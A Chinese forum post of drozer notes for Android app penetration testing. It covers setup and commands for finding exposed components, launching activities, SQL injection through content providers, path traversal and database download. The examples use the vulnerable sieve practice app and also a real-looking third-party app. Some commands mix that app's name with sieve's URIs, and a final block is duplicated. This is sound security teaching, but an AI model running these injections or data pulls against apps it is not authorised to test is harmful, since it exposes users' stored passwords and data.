在论坛里面看到drozer的文章有点零碎,有的只说了content provider,有的只是像文档一样比较生硬,分享一下我自己做的笔记。
工具
- 准备一部安卓机或者模拟器,打开USB调试
- adb下载好,配置好环境变量
- 下载好对应平台的 mwrlabs/drozer
Drozer安装步骤
- 需要版本为python2,已装python3需要安装python2
- 安装库
drozer
,twisted
,service_identity
,命令为pip install drozer twisted service_identity
- 到python2安装目录下
C:\Python27\Scripts
查看是否有drozer.bat
,存在的话运行drozer.bat --help
看是否有回显。如果你安装了多个python版本,则注意要编辑drozer.bat
,将python.exe
改为py -2
或其它你配置好的python2.exe文件名 - 安装
- 运行drozer错误代码为
10054
时表示手机没有在drozer APP内打开服务,错误代码10061
时表示没有开启adb或者没有进行端口转发。 - 查看
# 查看设备是否adb成功连接 adb devices # 成功链接后,adb转发端口 adb forward tcp:31415 tcp:31415 # 查看端口是否开启 netstat -ano | findstr 31415
- 推荐使用 sieve.apk (一个漏洞很多的示例apk)或goatdroid.app(跟webgoat同公司出的漏洞apk)用于练习drozer的漏洞发现和相关操作
Drozer检测命令
获取Android设备上的所有的安装的App的包名
run app.package.list
run app.package.list -f sieve
获取APP基本信息
run app.package.info -a com.aspirecn.xiaoxuntongTeacher.ln
寻找攻击面
一般测试第一步先用这个
run app.package.attacksurface com.aspirecn.xiaoxuntongTeacher.ln
这条命令会回显出四大组件可能存在的问题,然后再根据问题暴露点一个个对其测试。
Activity
run app.activity.info -a com.aspirecn.xiaoxuntongTeacher.ln
看的是这个Activity启动会不会造成越权启动或者使应用崩溃,其它的接口(微信登陆支付、小米等)暴露activity一般不造成危害的不算
run app.activity.start --component apk名 activity名
run app.activity.start --component com.aspirecn.xiaoxuntongTeacher.ln com.aspirecn.xiaoxuntongTeacher.ln.ui.Main
run app.activity.start --component com.aspirecn.xiaoxuntongTeacher.ln com.aspirecn.xiaoxuntongTeacher.ln.activity.DoctorListActivity
Content Provider
获取Content Provider信息
run app.provider.info -a com.aspirecn.xiaoxuntongTeacher.ln
Content Providers(数据泄露)
先获取所有可以访问的Uri:run scanner.provider.finduris -a com.aspirecn.xiaoxuntongTeacher.ln
获取各个Uri的数据:
run app.provider.query content:// com.aspirecn.xiaoxuntongTeacher.ln.DBContentProvider/Passwords/ --vertical
查询到数据说明存在漏洞
Content Providers(SQL注入)
run app.provider.query content:// com.aspirecn.xiaoxuntongTeacher.ln.DBContentProvider/Passwords/ --projection "'" run app.provider.query content:// com.aspirecn.xiaoxuntongTeacher.ln.DBContentProvider/Passwords/ --selection "'"
报错则说明存在SQL注入。
列出所有表:run app.provider.query content:// com.aspirecn.xiaoxuntongTeacher.ln.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type='table';--"
获取某个表(如Key)中的数据:
run app.provider.query content:// com.aspirecn.xiaoxuntongTeacher.ln.DBContentProvider/Passwords/ --projection "* FROM Key;--"
同时检测SQL注入和目录遍历(!优先用这条!)
run scanner.provider.injection -a com.aspirecn.xiaoxuntongTeacher.ln run scanner.provider.traversal -a com.aspirecn.xiaoxuntongTeacher.ln
Service
测试某个Service,一般需要读源码看是否有漏洞
run app.service.info -a com.aspirecn.xiaoxuntongTeacher.ln
run app.service.send com.aspirecn.xiaoxuntongTeacher.ln com.aspirecn.xiaoxuntongTeacher.ln.CryptoService --msg 1 5 3
Broadcast
测试某个broadcast,一般需要读源码看是否有漏洞
run app.broadcast.info -a com.aspirecn.xiaoxuntongTeacher.ln
另附drozer常用命令
list //列出目前可用的模块,也可以使用ls
help app.activity.forintent //查看指定模块的帮助信息
run app.package.list //列出android设备中安装的app
run app.package.info -a com.android.browser //查看指定app的基本信息
run app.activity.info -a com.android.browser //列出app中的activity组件
run app.activity.start --action android.intent.action.VIEW --data-uri http://www.google.com //开启一个activity,例如运行浏览器打开谷歌页面
run scanner.provider.finduris -a com.sina.weibo //查找可以读取的Content Provider
run app.provider.query content://settings/secure --selection "name='adb_enabled'" //读取指定Content Provider内容
run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo //列出指定文件路径里全局可写/可读的文件
run shell.start //shell操作
run tools.setup.busybox //安装busybox
list auxiliary //通过web的方式查看content provider组件的相关内容
help auxiliary.webcontentresolver //webcontentresolver帮助
run auxiliary.webcontentresolver //执行在浏览器中以http://localhost:8080即可访问
以sieve为例
run app.package.list -f sieve //查找sieve应用程序
run app.package.info -a com.mwr.example.sieve //显示app.package.info命令包的基本信息
run app.package.attacksurface com.mwr.example.sieve //确定攻击面
run app.activity.info -a com.mwr.example.sieve //获取activity信息
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //启动pwlist
run app.provider.info -a com.mwr.example.sieve //提供商信息
run scanner.provider.finduris -a com.mwr.example.sieve //扫描所有能访问地址
run app.provider.query content://com.mwr.example.DBContentProvider/Passwords/--vertical //查看DBContentProvider/Passwords这条可执行地址
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" //检测注入
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //查看读权限数据
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据
run scanner.provider.injection -a com.mwr.example.sieve //扫描注入地址
run scanner.provider.traversal -a com.mwr.example.sieve
run app.service.info -a com.mwr.example.sieve //查看服务
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList //启动pwlist
run app.provider.info -a com.mwr.example.sieve //提供商信息
run scanner.provider.finduris -a com.mwr.example.sieve //扫描所有能访问地址
run app.provider.query content://com.mwr.example.DBContentProvider/Passwords/--vertical //查看DBContentProvider/Passwords这条可执行地址
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" //检测注入
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts //查看读权限数据
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db /home/user/database.db //下载数据
run scanner.provider.injection -a com.mwr.example.sieve //扫描注入地址
run scanner.provider.traversal -a com.mwr.example.sieve
run app.service.info -a com.mwr.example.sieve //查看服务